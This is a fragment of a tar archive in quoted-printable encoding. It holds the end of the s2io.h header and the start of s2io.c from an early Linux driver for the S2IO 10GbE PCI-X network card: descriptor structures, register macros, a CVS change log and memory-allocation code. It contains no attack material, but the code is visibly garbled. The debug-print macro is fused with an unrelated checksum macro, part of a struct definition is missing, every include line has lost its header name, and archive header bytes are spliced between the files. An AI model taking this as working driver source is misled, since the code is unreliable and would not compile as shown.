#define TRUE 1=0A= #define FALSE 0=0A= #endif=0A= =0A= #undef SUCCESS=0A= #define SUCCESS 0=0A= #define FAILURE -1=0A= =0A= /* Maximum outstanding splits to be configured into xena. */=0A= typedef enum xena_max_outstanding_splits {=0A= XENA_ONE_SPLIT_TRANSACTION =3D 0,=0A= XENA_TWO_SPLIT_TRANSACTION =3D 1,=0A= XENA_THREE_SPLIT_TRANSACTION =3D 2,=0A= XENA_FOUR_SPLIT_TRANSACTION =3D 3,=0A= XENA_EIGHT_SPLIT_TRANSACTION =3D 4,=0A= XENA_TWELVE_SPLIT_TRANSACTION =3D 5,=0A= XENA_SIXTEEN_SPLIT_TRANSACTION =3D 6,=0A= XENA_THIRTYTWO_SPLIT_TRANSACTION =3D 7=0A= } xena_max_outstanding_splits;=0A= #define XENA_MAX_OUTSTANDING_SPLITS(n) (n << 4)=0A= =0A= /* OS concerned variables and constants */=0A= #define WATCH_DOG_TIMEOUT 5*HZ=0A= #define EFILL 0x1234=0A= #define ALIGN_SIZE 127=0A= #define PCIX_COMMAND_REGISTER 0x62=0A= =0A= #ifndef SUPPORTED_10000baseT_Full=0A= #define SUPPORTED_10000baseT_Full (1 << 12)=0A= #endif=0A= =0A= /*=0A= * Debug related variables.=0A= */=0A= #define DEBUG_ON TRUE=0A= =0A= /* different debug levels. */=0A= #define ERR_DBG 0=0A= #define INIT_DBG 1=0A= #define INFO_DBG 2=0A= #define TX_DBG 3=0A= #define INTR_DBG 4=0A= =0A= /* Global variable that defines the present debug level of the driver. */=0A= int debug_level =3D ERR_DBG; /* Default level. */=0A= =0A= /* DEBUG message print. */=0A= #define DBG_PRINT(dbg_level, args...) if(!(debug_level> 16) & 0xFFFF)=0A= #define RXD_GET_L4_CKSUM(val) ((u16)(val) & 0xFFFF)=0A= =0A= u64 Control_2;=0A= #define MASK_BUFFER0_SIZE vBIT(0xFFFF,0,16)=0A= #define SET_BUFFER0_SIZE(val) vBIT(val,0,16)=0A= #define MASK_VLAN_TAG vBIT(0xFFFF,48,16)=0A= #define SET_VLAN_TAG(val) vBIT(val,48,16)=0A= #define SET_NUM_TAG(val) vBIT(val,16,32)=0A= =0A= #define RXD_GET_BUFFER0_SIZE(Control_2) (u64)((Control_2 & = vBIT(0xFFFF,0,16)))=0A= /* =0A= #define TXD_GET_BUFFER1_SIZE(Control_2) (u16)((Control_2 & = MASK_BUFFER1_SIZE) >> (63-31)) =0A= #define TXD_GET_BUFFER2_SIZE(Control_2) (u16)((Control_2 & = MASK_BUFFER2_SIZE) >> (63-47)) =0A= */=0A= u64 Buffer0_ptr;=0A= } RxD_t;=0A= =0A= =0A= /* Structure that represents the Rx descriptor block which contains =0A= * 128 Rx descriptors.=0A= */=0A= typedef struct _RxD_block {=0A= #define MAX_RXDS_PER_BLOCK 127=0A= RxD_t rxd[MAX_RXDS_PER_BLOCK];=0A= =0A= u64 reserved_0;=0A= #define END_OF_BLOCK 0xFEFFFFFFFFFFFFFF=0A= u64 reserved_1; /* 0xFEFFFFFFFFFFFFFF to mark last Rxd in this blk */=0A= u64 reserved_2_pNext_RxD_block; /*@ Logical ptr to next */=0A= u64 pNext_RxD_Blk_physical; /* Buff0_ptr.=0A= In a 32 bit arch the upper 32 bits =0A= should be 0 */=0A= } RxD_block_t;=0A= =0A= /* Structure which stores all the MAC control parameters */=0A= =0A= /* This structure stores the offset of the RxD in the ring =0A= * from which the Rx Interrupt processor can start picking =0A= * up the RxDs for processing.=0A= */=0A= typedef struct _rx_curr_get_info_t {=0A= u32 block_index;=0A= u32 offset;=0A= u32 ring_len;=0A= } rx_curr_get_info_t;=0A= =0A= typedef rx_curr_get_info_t rx_curr_put_info_t;=0A= =0A= /* This structure stores the offset of the TxDl in the FIFO=0A= * from which the Tx Interrupt processor can start picking =0A= * up the TxDLs for send complete interrupt processing.=0A= */=0A= typedef struct {=0A= u32 offset;=0A= u32 fifo_len;=0A= } tx_curr_get_info_t;=0A= =0A= typedef tx_curr_get_info_t tx_curr_put_info_t;=0A= =0A= /* Infomation related to the Tx and Rx FIFOs and Rings of Xena=0A= * is maintained in this structure.=0A= */=0A= typedef struct mac_info {=0A= /* rx side stuff */=0A= u32 rxd_ring_mem_sz;=0A= RxD_t *RxRing[MAX_RX_RINGS]; /* Logical Rx ring pointers */=0A= dma_addr_t RxRing_Phy[MAX_RX_RINGS];=0A= =0A= /* Put pointer info which indictes which RxD has to be replenished =0A= * with a new buffer.=0A= */=0A= rx_curr_put_info_t rx_curr_put_info[MAX_RX_RINGS];=0A= =0A= /* Get pointer info which indictes which is the last RxD that was =0A= * processed by the driver.=0A= */=0A= rx_curr_get_info_t rx_curr_get_info[MAX_RX_RINGS];=0A= =0A= u16 rmac_pause_time;=0A= =0A= /* this will be used in receive function, this decides which ring would=0A= be processed first. eg: ring with priority value 0 (highest) should=0A= be processed first. =0A= first 3 LSB bits represent ring number which should be processed =0A= first, similarly next 3 bits represent next ring to be processed.=0A= eg: value of _rx_ring_pri_map =3D 0x0000 003A means =0A= ring #2 would be processed first and #7 would be processed next=0A= */=0A= u32 _rx_ring_pri_map;=0A= =0A= /* tx side stuff */=0A= void *txd_list_mem; /* orignal pointer to allocated mem */=0A= dma_addr_t txd_list_mem_phy;=0A= u32 txd_list_mem_sz;=0A= =0A= /* logical pointer of start of each Tx FIFO */=0A= TxFIFO_element_t *tx_FIFO_start[MAX_TX_FIFOS];=0A= =0A= /* logical pointer of start of TxDL which corresponds to each Tx FIFO */=0A= TxD_t *txdl_start[MAX_TX_FIFOS];=0A= =0A= /* Same as txdl_start but phy addr */=0A= dma_addr_t txdl_start_phy[MAX_TX_FIFOS];=0A= =0A= /* Current offset within tx_FIFO_start, where driver would write new Tx = frame*/=0A= tx_curr_put_info_t tx_curr_put_info[MAX_TX_FIFOS];=0A= tx_curr_get_info_t tx_curr_get_info[MAX_TX_FIFOS];=0A= =0A= u16 txdl_len; /* length of a TxDL, same for all */=0A= =0A= void *stats_mem; /* orignal pointer to allocated mem */=0A= dma_addr_t stats_mem_phy; /* Physical address of the stat block */=0A= u32 stats_mem_sz;=0A= StatInfo_t *StatsInfo; /* Logical address of the stat block */=0A= } mac_info_t;=0A= =0A= /* structure representing the user defined MAC addresses */=0A= typedef struct {=0A= char addr[ETH_ALEN];=0A= int usage_cnt;=0A= } usr_addr_t;=0A= =0A= /* Structure that holds the Phy and virt addresses of the Blocks */=0A= typedef struct rx_block_info {=0A= RxD_t *block_virt_addr;=0A= dma_addr_t block_dma_addr;=0A= } rx_block_info_t;=0A= =0A= /* Structure representing one instance of the NIC */=0A= typedef struct s2io_nic {=0A= #define MAX_MAC_SUPPORTED 16=0A= #define MAX_SUPPORTED_MULTICASTS MAX_MAC_SUPPORTED=0A= =0A= macaddr_t defMacAddr[MAX_MAC_SUPPORTED];=0A= macaddr_t preMacAddr[MAX_MAC_SUPPORTED];=0A= =0A= struct net_device_stats stats;=0A= caddr_t bar0;=0A= caddr_t bar1;=0A= struct config_param config;=0A= mac_info_t mac_control;=0A= u32 _fResource; /* Tracks resources alloced */=0A= int high_dma_flag;=0A= int device_close_flag;=0A= int device_enabled_once;=0A= =0A= char name[32];=0A= struct tasklet_struct task;=0A= atomic_t tasklet_status;=0A= struct timer_list timer;=0A= struct net_device *dev;=0A= struct pci_dev *pdev;=0A= =0A= u16 vendor_id;=0A= u16 device_id;=0A= u16 ccmd;=0A= u32 cbar0_1;=0A= u32 cbar0_2;=0A= u32 cbar1_1;=0A= u32 cbar1_2;=0A= u32 cirq;=0A= u8 cache_line;=0A= u32 rom_expansion;=0A= u16 pcix_cmd;=0A= u32 config_space[256 / sizeof(u32)];=0A= u32 irq;=0A= atomic_t rx_bufs_left[MAX_RX_RINGS];=0A= =0A= spinlock_t isr_lock;=0A= spinlock_t tx_lock;=0A= =0A= #define PROMISC 1=0A= #define ALL_MULTI 2=0A= =0A= #define MAX_ADDRS_SUPPORTED 64=0A= u16 usr_addr_count;=0A= u16 mc_addr_count;=0A= usr_addr_t usr_addrs[MAX_ADDRS_SUPPORTED];=0A= =0A= u16 m_cast_flg;=0A= u16 all_multi_pos;=0A= u16 promisc_flg;=0A= =0A= u16 tx_pkt_count;=0A= u16 rx_pkt_count;=0A= u16 tx_err_count;=0A= u16 rx_err_count;=0A= =0A= #if DEBUG_ON=0A= u64 rxpkt_bytes;=0A= u64 txpkt_bytes;=0A= int int_cnt;=0A= int rxint_cnt;=0A= int txint_cnt;=0A= u64 rxpkt_cnt;=0A= #endif=0A= =0A= /* Place holders for the virtual and physical addresses of all the=0A= * Rx Blocks */=0A= struct rx_block_info=0A= rx_blocks[MAX_RX_RINGS][MAX_RX_BLOCKS_PER_RING];=0A= int block_count[MAX_RX_RINGS];=0A= int pkt_cnt[MAX_RX_RINGS];=0A= =0A= /* Id timer, used to blink adapter to physically identify NIC. */=0A= struct timer_list id_timer;=0A= =0A= /* after blink, the adapter must be restored with original values. */=0A= u64 adapt_ctrl_org;=0A= } nic_t; // __cacheline_aligned;=0A= =0A= #define RESET_ERROR 1;=0A= #define CMD_ERROR 2;=0A= =0A= /* Default Tunable parameters of the NIC. */=0A= #define DEFAULT_FIFO_LEN 4096=0A= #define SMALL_RXD_CNT 10 * (MAX_RXDS_PER_BLOCK+1)=0A= #define LARGE_RXD_CNT 100 * (MAX_RXDS_PER_BLOCK+1)=0A= =0A= /* OS related system calls */=0A= =0A= #ifndef readq=0A= static inline u64 read64(void *addr)=0A= {=0A= u64 ret =3D 0;=0A= ret =3D readl(addr + 4);=0A= (u64) ret <<=3D 32;=0A= (u64) ret |=3D readl(addr);=0A= =0A= return ret;=0A= }=0A= #else=0A= static inline u64 read64(void *addr)=0A= {=0A= u64 ret =3D readq(addr);=0A= return ret;=0A= }=0A= #endif=0A= #define read32(addr, ret) ret =3D readl(addr);=0A= #define read16(addr, ret) ret =3D readw(addr);=0A= #define read8(addr, ret) ret =3D readb(addr);=0A= =0A= #ifndef writeq=0A= static inline void write64(void *addr, u64 val)=0A= {=0A= writel((u32) (val), addr);=0A= writel((u32) (val >> 32), (addr + 4));=0A= }=0A= #else=0A= #define write64(addr, ret) writeq(ret,(void *)addr)=0A= #endif=0A= #define write32(addr, ret) writel(ret,(void *)addr);=0A= #define write16(addr, ret) writew(ret,(void *)addr);=0A= #define write8(addr, ret) writeb(ret,(void *)addr);=0A= =0A= /* Interrupt related values of Xena */=0A= =0A= #define ENABLE_INTRS 1=0A= #define DISABLE_INTRS 2=0A= =0A= /* Highest level interrupt blocks */=0A= #define TX_PIC_INTR (0x0001<<0)=0A= #define TX_DMA_INTR (0x0001<<1)=0A= #define TX_MAC_INTR (0x0001<<2)=0A= #define TX_XGXS_INTR (0x0001<<3)=0A= #define TX_TRAFFIC_INTR (0x0001<<4)=0A= #define RX_PIC_INTR (0x0001<<5)=0A= #define RX_DMA_INTR (0x0001<<6)=0A= #define RX_MAC_INTR (0x0001<<7)=0A= #define RX_XGXS_INTR (0x0001<<8)=0A= #define RX_TRAFFIC_INTR (0x0001<<9)=0A= #define MC_INTR (0x0001<<10)=0A= #define ENA_ALL_INTRS ( TX_PIC_INTR | \=0A= TX_DMA_INTR | \=0A= TX_MAC_INTR | \=0A= TX_XGXS_INTR | \=0A= TX_TRAFFIC_INTR | \=0A= RX_PIC_INTR | \=0A= RX_DMA_INTR | \=0A= RX_MAC_INTR | \=0A= RX_XGXS_INTR | \=0A= RX_TRAFFIC_INTR | \=0A= MC_INTR )=0A= =0A= /* Interrupt masks for the general interrupt mask register */=0A= #define DISABLE_ALL_INTRS 0xFFFFFFFFFFFFFFFFULL=0A= =0A= #define TXPIC_INT_M BIT(0)=0A= #define TXDMA_INT_M BIT(1)=0A= #define TXMAC_INT_M BIT(2)=0A= #define TXXGXS_INT_M BIT(3)=0A= #define TXTRAFFIC_INT_M BIT(8)=0A= #define PIC_RX_INT_M BIT(32)=0A= #define RXDMA_INT_M BIT(33)=0A= #define RXMAC_INT_M BIT(34)=0A= #define MC_INT_M BIT(35)=0A= #define RXXGXS_INT_M BIT(36)=0A= #define RXTRAFFIC_INT_M BIT(40)=0A= =0A= /* PIC level Interrupts TODO*/=0A= =0A= /* DMA level Inressupts */=0A= #define TXDMA_PFC_INT_M BIT(0)=0A= /* PFC block interrupts */=0A= #define PFC_MISC_ERR_1 BIT(0) /* Interrupt to indicate FIFO full */=0A= =0A= #endif /* _S2IO_H */=0A= /*=0A= *$Log: s2io.h,v $=0A= *Revision 1.58 2004/02/10 11:58:42 rkoushik=0A= *Bug: 668=0A= *Eliminated usage of self declared type 'dmaaddr_t' and also=0A= *eliminated the usage of PPC64_ARCH macro which was prevalent in the = older code.=0A= *Further details in the bug.=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.57 2004/02/07 02:17:08 gkotlyar=0A= *Bug: 682=0A= *Parenthesis in the OST macro.=0A= *=0A= *Revision 1.56 2004/02/04 04:52:45 rkoushik=0A= *Bug: 667=0A= * Indented the code using indent utility. Details of the options=0A= *used are specified in bug # 667=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.55 2004/02/02 12:03:42 rkoushik=0A= *Bug: 643=0A= *The tx_pkt_ptr variable has been removed. Tx watchdog function now does=0A= *a s2io_close followed by s2io_open calls to reset and re-initialise = NIC.=0A= *The Tx Intr scheme is made dependednt on the size of the Progammed = FIFOs.=0A= *=0A= *-Koushik=0A= *=0A= *Revision 1.54 2004/01/29 05:41:41 rkoushik=0A= *Bug: 657=0A= *Loop back test is being removed from the driver as one of ethtool's = test=0A= *option.=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.53 2004/01/20 05:16:01 rkoushik=0A= *Bug: 397=0A= *TSO is enabled by default if supported by Kernel.=0A= *The undef macro to disable TSO was removed from the s2io.h header file.=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.52 2004/01/19 21:13:32 aravi=0A= *Bug: 593=0A= *Fixed Tx Link loss problem by=0A= *1. checking for put pointer not going beyond get pointer=0A= *2. set default tx descriptors to 4096( done in s2io.h)=0A= *3. Set rts_frm_len register to MTU size.=0A= *4. Corrected the length used for address unmapping in=0A= * tx intr handler.=0A= *=0A= *Revision 1.51 2004/01/19 09:51:08 rkoushik=0A= *Bug: 598=0A= * Added GPL notices on the driver source files, namely=0A= *s2io.c, s2io.h and regs.h=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.50 2003/12/30 13:03:34 rkoushik=0A= *Bug: 177=0A= *The driver has been updated with support for funtionalities in ethtool=0A= *version 1.8. Interrupt moderation has been skipped as the methodology = to=0A= *set it using ethtool is different to our methodology.=0A= *=0A= *-Koushik=0A= *=0A= *Revision 1.49 2003/12/16 21:15:32 ukiran=0A= *Bug:542=0A= *Increased default FIFO to 1024 *6=0A= *=0A= *Revision 1.48 2003/12/01 22:03:08 ukiran=0A= *Bug:510=0A= *Cleanup of =0D chars=0A= *=0A= *Revision 1.47 2003/11/04 02:07:03 ukiran=0A= *Bug:484=0A= *Enabling Logs in source code=0A= *=0A= */=0A= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00.= /s2io.c=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=000100644=00000= 0000=000000000=0000000416273=0010014206110=00010730=00 = 0=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00ustar = =00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00/***************= *********************************************************=0A= * s2io.c: A Linux PCI-X Ethernet driver for S2IO 10GbE Server NIC=0A= * Copyright 2002 Raghavendra Koushik (raghavendra.koushik@s2io.com)=0A= =0A= * This software may be used and distributed according to the terms of=0A= * the GNU General Public License (GPL), incorporated herein by = reference.=0A= * Drivers based on or derived from this code fall under the GPL and must=0A= * retain the authorship, copyright and license notice. This file is not=0A= * a complete program and may only be used when the entire operating=0A= * system is licensed under the GPL.=0A= * See the file COPYING in this distribution for more information.=0A= *=0A= *=0A= * The module loadable parameters that are supported by the driver and a = brief=0A= * explaination of all the variables.=0A= * ring_num : This can be used to program the number of receive rings = used =0A= * in the driver. =0A= * frame_len: This is an array of size 8. Using this we can set the = maximum =0A= * size of the received frame that can be steered into the corrsponding =0A= * receive ring.=0A= * ring_len: This defines the number of descriptors each ring can have. = This =0A= * is also an array of size 8.=0A= * fifo_num: This defines the number of Tx FIFOs thats used int the = driver.=0A= * fifo_len: This too is an array of 8. Each element defines the number = of =0A= * Tx descriptors that can be associated with each corresponding FIFO.=0A= * latency_timer: This input is programmed into the Latency timer = register=0A= * in PCI Configuration space.=0A= = ************************************************************************/=0A= =0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= #include=0A= =0A= /* local include */=0A= #include "s2io.h"=0A= #include "regs.h"=0A= //#include "util.h"=0A= =0A= #if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,00)=0A= #define s2io_free_netdev free_netdev=0A= #else=0A= #define s2io_free_netdev kfree=0A= #endif=0A= =0A= =0A= /* Load driver as a module */=0A= #define AS_A_MODULE=0A= =0A= /* VENDOR and DEVICE ID of XENA. */=0A= #define PCI_VENDOR_ID_S2IO 0x17D5=0A= #define PCI_DEVICE_ID_S2IO_WIN 0x5731=0A= #define PCI_DEVICE_ID_S2IO_UNI 0x5831=0A= =0A= static char s2io_driver_name[] =3D "S2IO";=0A= #ifndef SET_NETDEV_DEV=0A= #define SET_NETDEV_DEV(a, b) do {} while(0)=0A= #endif=0A= =0A= /* Rx Round robin register's Reset values. These are a duplicate of =0A= * the Tx register's reset values. Setting values into these registers=0A= * depending on the Tx and Rx ring sizes is TODO.=0A= */=0A= static u64 round_robin_reg0 =3D 0x0001020304000105;=0A= static u64 round_robin_reg1 =3D 0x0200030106000204;=0A= static u64 round_robin_reg2 =3D 0x0103000502010007;=0A= static u64 round_robin_reg3 =3D 0x0304010002060500;=0A= static u64 round_robin_reg4 =3D 0x0103020400000000;=0A= =0A= /*Prototype declaration of the used functions */=0A= static int __devinit s2io_init_nic(struct pci_dev *pdev,=0A= const struct pci_device_id *pre);=0A= static void __exit s2io_rem_nic(struct pci_dev *pdev);=0A= static int initSharedMem(struct s2io_nic *sp);=0A= static void freeSharedMem(struct s2io_nic *sp);=0A= static int initNic(struct s2io_nic *nic);=0A= #ifndef CONFIGURE_NAPI_SUPPORT=0A= static void rxIntrHandler(struct s2io_nic *sp);=0A= #endif=0A= static void txIntrHandler(struct s2io_nic *sp);=0A= static void alarmIntrHandler(struct s2io_nic *sp);=0A= =0A= static int s2io_starter(void);=0A= void s2io_closer(void);=0A= static void s2io_tx_watchdog(struct net_device *dev);=0A= static void s2io_tasklet(unsigned long dev_addr);=0A= static void s2io_set_multicast(struct net_device *dev);=0A= static int rxOsmHandler(nic_t * sp, u16 len, RxD_t * rxdp, int ring_no);=0A= void s2io_link(nic_t * sp, int link);=0A= void s2io_reset(nic_t * sp);=0A= #ifdef CONFIGURE_NAPI_SUPPORT=0A= static int s2io_poll(struct net_device *dev, int *budget);=0A= #endif=0A= /*Grisha */=0A= static void s2io_init_pci(nic_t * sp);=0A= =0A= #define TASKLET_IN_USE test_and_set_bit(0, (unsigned long = *)&sp->tasklet_status)=0A= #define PANIC 1=0A= #define LOW 2=0A= static inline int rx_buffer_level(nic_t * sp, int rxb_size, int ring)=0A= {=0A= int level =3D 0;=0A= if ((sp->pkt_cnt[ring] - rxb_size) > 128) {=0A= level =3D LOW;=0A= if (rxb_size < sp->pkt_cnt[ring] / 8)=0A= level =3D PANIC;=0A= }=0A= =0A= return level;=0A= }=0A= =0A= #ifdef CONFIGURE_ETHTOOL_SUPPORT=0A= static int s2io_ethtool(struct net_device *dev, struct ifreq *rq);=0A= static char s2io_gstrings[][ETH_GSTRING_LEN] =3D {=0A= "Register test\t(offline)",=0A= "Eeprom test\t(offline)",=0A= "Link test\t(online)",=0A= "RLDRAM test\t(offline)",=0A= "BIST Test\t(offline)"=0A= };=0A= #define S2IO_TEST_LEN sizeof(s2io_gstrings) / ETH_GSTRING_LEN=0A= #define S2IO_STRINGS_LEN S2IO_TEST_LEN * ETH_GSTRING_LEN=0A= #endif /** CONFIGURE_ETHTOOL_SUPPORT **/=0A= =0A= #ifdef KERN_26=0A= static irqreturn_t s2io_isr(int irq, void *dev_id, struct pt_regs *regs);=0A= #else=0A= void s2io_isr(int irq, void *dev_id, struct pt_regs *regs);=0A= #endif /** KERN_26 **/=0A= =0A= static int verify_xena_quiescence(u64 val64, int flag);=0A= =0A= /* Module Loadable parameters. */=0A= static u32 ring_num;=0A= static u32 frame_len[MAX_RX_RINGS];=0A= static u32 ring_len[MAX_RX_RINGS];=0A= static u32 fifo_num;=0A= static u32 fifo_len[MAX_TX_FIFOS];=0A= static u32 rx_prio;=0A= static u32 tx_prio;=0A= static u8 latency_timer =3D 0xff;=0A= =0A= /* =0A= * S2IO device table.=0A= * This table lists all the devices that this driver supports. =0A= */=0A= static struct pci_device_id s2io_tbl[] __devinitdata =3D {=0A= {PCI_VENDOR_ID_S2IO, PCI_DEVICE_ID_S2IO_WIN,=0A= PCI_ANY_ID, PCI_ANY_ID},=0A= {PCI_VENDOR_ID_S2IO, PCI_DEVICE_ID_S2IO_UNI,=0A= PCI_ANY_ID, PCI_ANY_ID},=0A= {0,}=0A= };=0A= MODULE_DEVICE_TABLE(pci, s2io_tbl);=0A= =0A= static struct pci_driver s2io_driver =3D {=0A= name:"S2IO",=0A= id_table:s2io_tbl,=0A= probe:s2io_init_nic,=0A= remove:s2io_rem_nic,=0A= #ifdef UNDEFINED=0A= suspend:NULL,=0A= resume:NULL,=0A= #endif=0A= };=0A= =0A= /* =0A= * Input Arguments: =0A= * Device private variable.=0A= * Return Value: =0A= * SUCCESS on success and an appropriate -ve value on failure.=0A= * Description: =0A= * The function allocates the all memory areas shared =0A= * between the NIC and the driver. This includes Tx descriptors, =0A= * Rx descriptors and the statistics block.=0A= */=0A= static int initSharedMem(struct s2io_nic *nic)=0A= {=0A= u32 size;=0A= void *tmp_v_addr, *tmp_v_addr_next;=0A= dma_addr_t tmp_p_addr, tmp_p_addr_next;=0A= RxD_block_t *pre_rxd_blk =3D NULL;=0A= int i, j, blk_cnt;=0A= struct net_device *dev =3D nic->dev;=0A= =0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= = =0A= mac_control =3D &nic->mac_control;=0A= config =3D &nic->config;=0A= =0A= =0A= nic->_fResource =3D 0;=0A= /* Allocation and initialization of TXDLs in FIOFs */=0A= size =3D 0;=0A= for (i =3D 0; i < config->TxFIFONum; i++) {=0A= size +=3D config->TxCfg[i].FifoLen;=0A= }=0A= if (size > MAX_AVAILABLE_TXDS) {=0A= DBG_PRINT(ERR_DBG, "%s: Total number of Tx FIFOs ",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG, "exceeds the maximum value ");=0A= DBG_PRINT(ERR_DBG, "that can be used\n");=0A= return FAILURE;=0A= }=0A= size *=3D (sizeof(TxD_t) * config->MaxTxDs);=0A= =0A= mac_control->txd_list_mem =3D pci_alloc_consistent=0A= (nic->pdev, size, &mac_control->txd_list_mem_phy);=0A= if (!mac_control->txd_list_mem) {=0A= return -ENOMEM;=0A= }=0A= nic->_fResource |=3D TXD_ALLOCED;=0A= mac_control->txd_list_mem_sz =3D size;=0A= =0A= tmp_v_addr =3D mac_control->txd_list_mem;=0A= tmp_p_addr =3D mac_control->txd_list_mem_phy;=0A= memset(tmp_v_addr, 0, size);=0A= #ifndef XENA_ARCH_64=0A= DBG_PRINT(INIT_DBG, "%s:List Mem PHY: 0x%x\n", dev->name,=0A= tmp_p_addr);=0A= #else=0A= DBG_PRINT(INIT_DBG, "%s:List Mem PHY: 0x%lx\n", dev->name,=0A= tmp_p_addr);=0A= #endif=0A= =0A= for (i =3D 0; i < config->TxFIFONum; i++) {=0A= mac_control->txdl_start_phy[i] =3D tmp_p_addr;=0A= mac_control->txdl_start[i] =3D (TxD_t *) tmp_v_addr;=0A= mac_control->tx_curr_put_info[i].offset =3D 0;=0A= mac_control->tx_curr_put_info[i].fifo_len =3D=0A= config->TxCfg[i].FifoLen - 1;=0A= mac_control->tx_curr_get_info[i].offset =3D 0;=0A= mac_control->tx_curr_get_info[i].fifo_len =3D=0A= config->TxCfg[i].FifoLen - 1;=0A= =0A= tmp_p_addr +=3D=0A= (config->TxCfg[i].FifoLen * (sizeof(TxD_t)) *=0A= config->MaxTxDs);=0A= tmp_v_addr +=3D=0A= (config->TxCfg[i].FifoLen * (sizeof(TxD_t)) *=0A= config->MaxTxDs);=0A= }=0A= =0A= /* Allocation and initialization of RXDs in Rings */=0A= size =3D 0;=0A= for (i =3D 0; i < config->RxRingNum; i++) {=0A= if (config->RxCfg[i].NumRxd % (MAX_RXDS_PER_BLOCK + 1)) {=0A= DBG_PRINT(ERR_DBG, "%s: RxD count of ", dev->name);=0A= DBG_PRINT(ERR_DBG, "Ring%d is not a multiple of ",=0A= i);=0A= DBG_PRINT(ERR_DBG, "RxDs per Block");=0A= return FAILURE;=0A= }=0A= size +=3D config->RxCfg[i].NumRxd;=0A= nic->block_count[i] =3D=0A= config->RxCfg[i].NumRxd / (MAX_RXDS_PER_BLOCK + 1);=0A= nic->pkt_cnt[i] =3D=0A= config->RxCfg[i].NumRxd - nic->block_count[i];=0A= }=0A= size =3D (size * (sizeof(RxD_t)));=0A= mac_control->rxd_ring_mem_sz =3D size;=0A= nic->_fResource |=3D RXD_ALLOCED;=0A= =0A= for (i =3D 0; i < config->RxRingNum; i++) {=0A= mac_control->rx_curr_get_info[i].block_index =3D 0;=0A= mac_control->rx_curr_get_info[i].offset =3D 0;=0A= mac_control->rx_curr_get_info[i].ring_len =3D=0A= config->RxCfg[i].NumRxd - 1;=0A= mac_control->rx_curr_put_info[i].block_index =3D 0;=0A= mac_control->rx_curr_put_info[i].offset =3D 0;=0A= mac_control->rx_curr_put_info[i].ring_len =3D=0A= config->RxCfg[i].NumRxd - 1;=0A= blk_cnt =3D=0A= config->RxCfg[i].NumRxd / (MAX_RXDS_PER_BLOCK + 1);=0A= /* Allocating all the Rx blocks */=0A= for (j =3D 0; j < blk_cnt; j++) {=0A= size =3D (MAX_RXDS_PER_BLOCK + 1) * (sizeof(RxD_t));=0A= tmp_v_addr =3D pci_alloc_consistent(nic->pdev, size,=0A= &tmp_p_addr);=0A= if (tmp_v_addr =3D=3D NULL) {=0A= return -ENOMEM;=0A= }=0A= memset(tmp_v_addr, 0, size);=0A= nic->rx_blocks[i][j].block_virt_addr =3D tmp_v_addr;=0A= nic->rx_blocks[i][j].block_dma_addr =3D tmp_p_addr;=0A= }=0A= /* Interlinking all Rx Blocks */=0A= for (j =3D 0; j < blk_cnt; j++) {=0A= tmp_v_addr =3D nic->rx_blocks[i][j].block_virt_addr;=0A= tmp_v_addr_next =3D=0A= nic->rx_blocks[i][(j + 1) %=0A= blk_cnt].block_virt_addr;=0A= tmp_p_addr =3D nic->rx_blocks[i][j].block_dma_addr;=0A= tmp_p_addr_next =3D=0A= nic->rx_blocks[i][(j + 1) %=0A= blk_cnt].block_dma_addr;=0A= =0A= pre_rxd_blk =3D (RxD_block_t *) tmp_v_addr;=0A= pre_rxd_blk->reserved_1 =3D END_OF_BLOCK; /* last RxD =0A= * marker.=0A= */=0A= pre_rxd_blk->reserved_2_pNext_RxD_block =3D=0A= (unsigned long) tmp_v_addr_next;=0A= pre_rxd_blk->pNext_RxD_Blk_physical =3D=0A= (u64) tmp_p_addr_next;=0A= }=0A= }=0A= =0A= /* Allocation and initialization of Statistics block */=0A= size =3D sizeof(StatInfo_t);=0A= mac_control->stats_mem =3D pci_alloc_consistent=0A= (nic->pdev, size, &mac_control->stats_mem_phy);=0A= =0A= if (!mac_control->stats_mem) {=0A= return -ENOMEM;=0A= }=0A= nic->_fResource |=3D STATS_ALLOCED;=0A= mac_control->stats_mem_sz =3D size;=0A= =0A= tmp_v_addr =3D mac_control->stats_mem;=0A= mac_control->StatsInfo =3D (StatInfo_t 